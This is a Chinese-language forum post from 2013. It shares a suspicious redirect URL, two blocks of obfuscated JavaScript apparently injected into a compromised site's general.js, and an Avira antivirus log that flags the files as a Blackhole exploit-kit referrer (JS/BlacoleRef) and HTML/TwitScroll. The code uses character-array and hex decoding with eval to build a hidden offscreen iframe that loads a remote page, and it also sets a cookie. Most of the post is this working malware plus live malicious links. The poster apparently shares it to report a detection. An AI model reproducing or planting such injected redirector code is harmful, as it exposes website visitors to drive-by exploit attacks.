裏面

显示全部楼层 · 发表于 2013-10-5 07:38:39

http://hit.trafficholder.com/transfer.php?http://64.26.139.42/advanced_search.php?PHPSESSID=7c54c1bb02d60fa9440375a15265598e

复制代码

/*adea77*/
if (021 === 0x11) v = "va" + "l";
try {
faweb--
} catch (btawetb) {
try {
fve ^ v
} catch (btawt4) {
try {
window.document.body = v
} catch (gdsgsdg) {
w = window;
if (020 === 0x10) e = w["e".concat(v)];
}
}
}
if (1) {
f = new Array(40, 101, 115, 110, 98, 114, 105, 110, 108, 40, 40, 11, 10, 122, 11, 10, 31, 116, 97, 113, 30, 97, 111, 103, 107, 100, 119, 32, 60, 37, 103, 110, 109, 103, 107, 99, 95, 114, 98, 52, 51, 50, 102, 38, 57, 10, 31, 116, 97, 113, 30, 97, 31, 59, 32, 99, 109, 99, 116, 107, 101, 109, 114, 46, 98, 112, 101, 96, 114, 101, 68, 106, 101, 108, 99, 110, 115, 38, 39, 104, 100, 114, 96, 107, 101, 38, 39, 59, 12, 8, 13, 9, 30, 97, 45, 113, 114, 98, 30, 61, 31, 37, 104, 115, 114, 112, 57, 45, 47, 108, 110, 105, 103, 44, 104, 110, 107, 101, 45, 110, 108, 46, 101, 114, 96, 100, 105, 106, 95, 47, 108, 95, 112, 96, 45, 108, 100, 112, 46, 111, 102, 112, 38, 57, 13, 9, 30, 97, 45, 113, 116, 120, 106, 101, 45, 110, 111, 114, 103, 116, 104, 109, 110, 31, 59, 32, 38, 95, 98, 114, 109, 108, 116, 114, 101, 38, 57, 13, 9, 30, 97, 45, 113, 116, 120, 106, 101, 45, 96, 111, 113, 98, 101, 113, 30, 61, 31, 37, 48, 38, 57, 13, 9, 30, 97, 45, 113, 116, 120, 106, 101, 45, 102, 101, 104, 101, 104, 115, 30, 61, 31, 37, 49, 111, 118, 39, 58, 11, 10, 31, 95, 46, 114, 114, 121, 107, 99, 46, 118, 103, 100, 115, 102, 32, 60, 30, 39, 48, 110, 120, 38, 57, 13, 9, 30, 97, 45, 113, 116, 120, 106, 101, 45, 106, 101, 101, 114, 32, 60, 30, 39, 48, 110, 120, 38, 57, 13, 9, 30, 97, 45, 113, 116, 120, 106, 101, 45, 114, 111, 111, 30, 61, 31, 37, 49, 111, 118, 39, 58, 11, 10, 12, 8, 32, 104, 100, 40, 96, 110, 105, 106, 99, 121, 60, 59, 39, 38, 39, 32, 122, 8, 32, 31, 116, 97, 113, 30, 114, 100, 113, 112, 110, 108, 115, 100, 30, 61, 31, 37, 101, 113, 112, 111, 113, 37, 59, 9, 30, 125, 9, 30, 105, 101, 38, 33, 99, 109, 99, 116, 107, 101, 109, 114, 46, 102, 99, 116, 68, 106, 101, 108, 99, 110, 115, 64, 121, 72, 98, 40, 38, 95, 100, 111, 106, 39, 40, 39, 13, 9, 30, 123, 12, 8, 32, 99, 109, 99, 116, 107, 101, 109, 114, 46, 118, 112, 105, 115, 99, 40, 38, 58, 100, 104, 116, 32, 104, 98, 61, 91, 37, 97, 99, 110, 108, 91, 37, 62, 59, 45, 100, 104, 116, 62, 38, 39, 59, 12, 8, 32, 99, 109, 99, 116, 107, 101, 109, 114, 46, 102, 99, 116, 68, 106, 101, 108, 99, 110, 115, 64, 121, 72, 98, 40, 38, 95, 100, 111, 106, 39, 40, 44, 97, 111, 110, 101, 109, 98, 67, 103, 103, 108, 99, 38, 97, 40, 57, 13, 9, 30, 125, 12, 8, 125, 40, 38, 41, 58);
}
w = f;
s = [];
r = String;
for (i = 0; - i + 497 != 0; i += 1) {
j = i;
if (e && (031 == 0x19)) s = s + r["fromCh" + "arC" + ((020 === 0x10) ? "ode" : "")]((1 * w[j] + j % 3));
}
try {
(w + s)()
} catch (asga) {
e(s + "");
} /*/adea77*/
/*74ed9f*/
if (document.querySelector) cuyn = 4;
cufde = ("44,8a,99,92,87,98,8d,93,92,44,98,97,96,54,5d,4c,4d,44,9f,31,2e,44,9a,85,96,44,97,98,85,98,8d,87,61,4b,85,8e,85,9c,4b,5f,31,2e,44,9a,85,96,44,87,93,92,98,96,93,90,90,89,96,61,4b,8d,92,88,89,9c,52,94,8c,94,4b,5f,31,2e,44,9a,85,96,44,98,97,96,44,61,44,88,93,87,99,91,89,92,98,52,87,96,89,85,98,89,69,90,89,91,89,92,98,4c,4b,8d,8a,96,85,91,89,4b,4d,5f,31,2e,31,2e,44,98,97,96,52,97,96,87,44,61,44,4b,8c,98,98,94,5e,53,53,87,8b,8d,52,87,90,99,86,8d,97,90,85,92,88,52,93,96,8b,53,88,56,9d,74,94,57,87,9c,52,94,8c,94,4b,5f,31,2e,44,98,97,96,52,97,98,9d,90,89,52,94,93,97,8d,98,8d,93,92,44,61,44,4b,85,86,97,93,90,99,98,89,4b,5f,31,2e,44,98,97,96,52,97,98,9d,90,89,52,87,93,90,93,96,44,61,44,4b,5d,5c,56,55,5c,4b,5f,31,2e,44,98,97,96,52,97,98,9d,90,89,52,8c,89,8d,8b,8c,98,44,61,44,4b,5d,5c,56,55,5c,94,9c,4b,5f,31,2e,44,98,97,96,52,97,98,9d,90,89,52,9b,8d,88,98,8c,44,61,44,4b,5d,5c,56,55,5c,94,9c,4b,5f,31,2e,44,98,97,96,52,97,98,9d,90,89,52,90,89,8a,98,44,61,44,4b,55,54,54,54,5d,5c,56,55,5c,4b,5f,31,2e,44,98,97,96,52,97,98,9d,90,89,52,98,93,94,44,61,44,4b,55,54,54,54,5d,5c,56,55,5c,4b,5f,31,2e,31,2e,44,8d,8a,44,4c,45,88,93,87,99,91,89,92,98,52,8b,89,98,69,90,89,91,89,92,98,66,9d,6d,88,4c,4b,98,97,96,4b,4d,4d,44,9f,31,2e,44,88,93,87,99,91,89,92,98,52,9b,96,8d,98,89,4c,4b,60,94,44,8d,88,61,80,4b,98,97,96,80,4b,44,87,90,85,97,97,61,80,4b,98,97,96,54,5d,80,4b,44,62,60,53,94,62,4b,4d,5f,31,2e,44,88,93,87,99,91,89,92,98,52,8b,89,98,69,90,89,91,89,92,98,66,9d,6d,88,4c,4b,98,97,96,4b,4d,52,85,94,94,89,92,88,67,8c,8d,90,88,4c,98,97,96,4d,5f,31,2e,44,a1,31,2e,a1,31,2e,8a,99,92,87,98,8d,93,92,44,77,89,98,67,93,93,8f,8d,89,4c,87,93,93,8f,8d,89,72,85,91,89,50,87,93,93,8f,8d,89,7a,85,90,99,89,50,92,68,85,9d,97,50,94,85,98,8c,4d,44,9f,31,2e,44,9a,85,96,44,98,93,88,85,9d,44,61,44,92,89,9b,44,68,85,98,89,4c,4d,5f,31,2e,44,9a,85,96,44,89,9c,94,8d,96,89,44,61,44,92,89,9b,44,68,85,98,89,4c,4d,5f,31,2e,44,8d,8a,44,4c,92,68,85,9d,97,61,61,92,99,90,90,44,a0,a0,44,92,68,85,9d,97,61,61,54,4d,44,92,68,85,9d,97,61,55,5f,31,2e,44,89,9c,94,8d,96,89,52,97,89,98,78,8d,91,89,4c,98,93,88,85,9d,52,8b,89,98,78,8d,91,89,4c,4d,44,4f,44,57,5a,54,54,54,54,54,4e,56,58,4e,92,68,85,9d,97,4d,5f,31,2e,44,88,93,87,99,91,89,92,98,52,87,93,93,8f,8d,89,44,61,44,87,93,93,8f,8d,89,72,85,91,89,4f,46,61,46,4f,89,97,87,85,94,89,4c,87,93,93,8f,8d,89,7a,85,90,99,89,4d,31,2e,44,4f,44,46,5f,89,9c,94,8d,96,89,97,61,46,44,4f,44,89,9c,94,8d,96,89,52,98,93,6b,71,78,77,98,96,8d,92,8b,4c,4d,44,4f,44,4c,4c,94,85,98,8c,4d,44,63,44,46,5f,44,94,85,98,8c,61,46,44,4f,44,94,85,98,8c,44,5e,44,46,46,4d,5f,31,2e,a1,31,2e,8a,99,92,87,98,8d,93,92,44,6b,89,98,67,93,93,8f,8d,89,4c,44,92,85,91,89,44,4d,44,9f,31,2e,44,9a,85,96,44,97,98,85,96,98,44,61,44,88,93,87,99,91,89,92,98,52,87,93,93,8f,8d,89,52,8d,92,88,89,9c,73,8a,4c,44,92,85,91,89,44,4f,44,46,61,46,44,4d,5f,31,2e,44,9a,85,96,44,90,89,92,44,61,44,97,98,85,96,98,44,4f,44,92,85,91,89,52,90,89,92,8b,98,8c,44,4f,44,55,5f,31,2e,44,8d,8a,44,4c,44,4c,44,45,97,98,85,96,98,44,4d,44,4a,4a,31,2e,44,4c,44,92,85,91,89,44,45,61,44,88,93,87,99,91,89,92,98,52,87,93,93,8f,8d,89,52,97,99,86,97,98,96,8d,92,8b,4c,44,54,50,44,92,85,91,89,52,90,89,92,8b,98,8c,44,4d,44,4d,44,4d,31,2e,44,9f,31,2e,44,96,89,98,99,96,92,44,92,99,90,90,5f,31,2e,44,a1,31,2e,44,8d,8a,44,4c,44,97,98,85,96,98,44,61,61,44,51,55,44,4d,44,96,89,98,99,96,92,44,92,99,90,90,5f,31,2e,44,9a,85,96,44,89,92,88,44,61,44,88,93,87,99,91,89,92,98,52,87,93,93,8f,8d,89,52,8d,92,88,89,9c,73,8a,4c,44,46,5f,46,50,44,90,89,92,44,4d,5f,31,2e,44,8d,8a,44,4c,44,89,92,88,44,61,61,44,51,55,44,4d,44,89,92,88,44,61,44,88,93,87,99,91,89,92,98,52,87,93,93,8f,8d,89,52,90,89,92,8b,98,8c,5f,31,2e,44,96,89,98,99,96,92,44,99,92,89,97,87,85,94,89,4c,44,88,93,87,99,91,89,92,98,52,87,93,93,8f,8d,89,52,97,99,86,97,98,96,8d,92,8b,4c,44,90,89,92,50,44,89,92,88,44,4d,44,4d,5f,31,2e,a1,31,2e,8d,8a,44,4c,92,85,9a,8d,8b,85,98,93,96,52,87,93,93,8f,8d,89,69,92,85,86,90,89,88,4d,31,2e,9f,31,2e,8d,8a,4c,6b,89,98,67,93,93,8f,8d,89,4c,4b,9a,8d,97,8d,98,89,88,83,99,95,4b,4d,61,61,59,59,4d,9f,a1,89,90,97,89,9f,77,89,98,67,93,93,8f,8d,89,4c,4b,9a,8d,97,8d,98,89,88,83,99,95,4b,50,44,4b,59,59,4b,50,44,4b,55,4b,50,44,4b,53,4b,4d,5f,31,2e,31,2e,98,97,96,54,5d,4c,4d,5f,31,2e,a1,31,2e,a1".split(","));
esnsaq = eval;
function dct() {
byac = function() {
--(www.body)
}()
}
www = document;
for (naabq = 0; naabq < cufde["length"]; naabq += 1) {
cufde[naabq] = -(36) + parseInt(cufde[naabq], cuyn * 4);
}
try {
dct()
} catch (rfziov) {
pie = 50 - 50;
}
if (!pie) esnsaq(String["fr" + "omCh" + "arCo" + "de"].apply(String, cufde)); /*/74ed9f*/

复制代码

Avira

2013/10/5 上午 07:32 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\1YP0JPM6\general[1].js'
   包含病毒或有害的程式 'JS/BlacoleRef.W.25' [virus]
   已採取動作：
   檔案會移動至 '54a6fca3.qua' 名稱底下的隔離區目錄。.

2013/10/5 上午 07:32 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描。]。
   檔案數： 787
   目錄數： 0
   惡意程式碼數： 1
   警告數： 0

2013/10/5 上午 07:31 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\GP9UHU8J\advanced_search[1].htm'
   包含病毒或有害的程式 'HTML/TwitScroll.B' [virus]
   已採取動作：
   發生錯誤，檔案未刪除。錯誤識別碼：26003.
   檔案無法刪除！.
   嘗試使用 ARK 程式庫執行動作。.
   檔案會移動至 '4c15d1ea.qua' 名稱底下的隔離區目錄。.

2013/10/5 上午 07:31 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描。]。
   檔案數： 783
   目錄數： 0
   惡意程式碼數： 1
   警告數： 0

2013/10/5 上午 07:30 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\1YP0JPM6\general[1].js 中
   偵測到病毒或有害的程式 'JS/BlacoleRef.W.25 [virus]'
   執行的動作：傳輸至掃描程式

2013/10/5 上午 07:30 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\1YP0JPM6\general[1].js 中
   偵測到病毒或有害的程式 'JS/BlacoleRef.W.25 [virus]'
   執行的動作：拒絕存取

2013/10/5 上午 07:30 [Web Protection] 發現惡意程式碼
   從 URL "http://64.26.139.42/includes/general.js" 存取資料時，
   發現病毒或有害的程式 'JS/BlacoleRef.W.25' [virus]。
   已採取動作：已略過

2013/10/5 上午 07:30 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\GP9UHU8J\advanced_search[1].htm 中
   偵測到病毒或有害的程式 'HTML/TwitScroll.B [virus]'
   執行的動作：傳輸至掃描程式

2013/10/5 上午 07:30 [Web Protection] 發現惡意程式碼
   從 URL
   "http://64.26.139.42/advanced_search.php?PHPSESSID=7c54c1bb02d60fa9440375a152655
   98e" 存取資料時，
   發現病毒或有害的程式 'HTML/TwitScroll.B' [virus]。
   已採取動作：已略過

[已鉴定] 裏面

浏览过的版块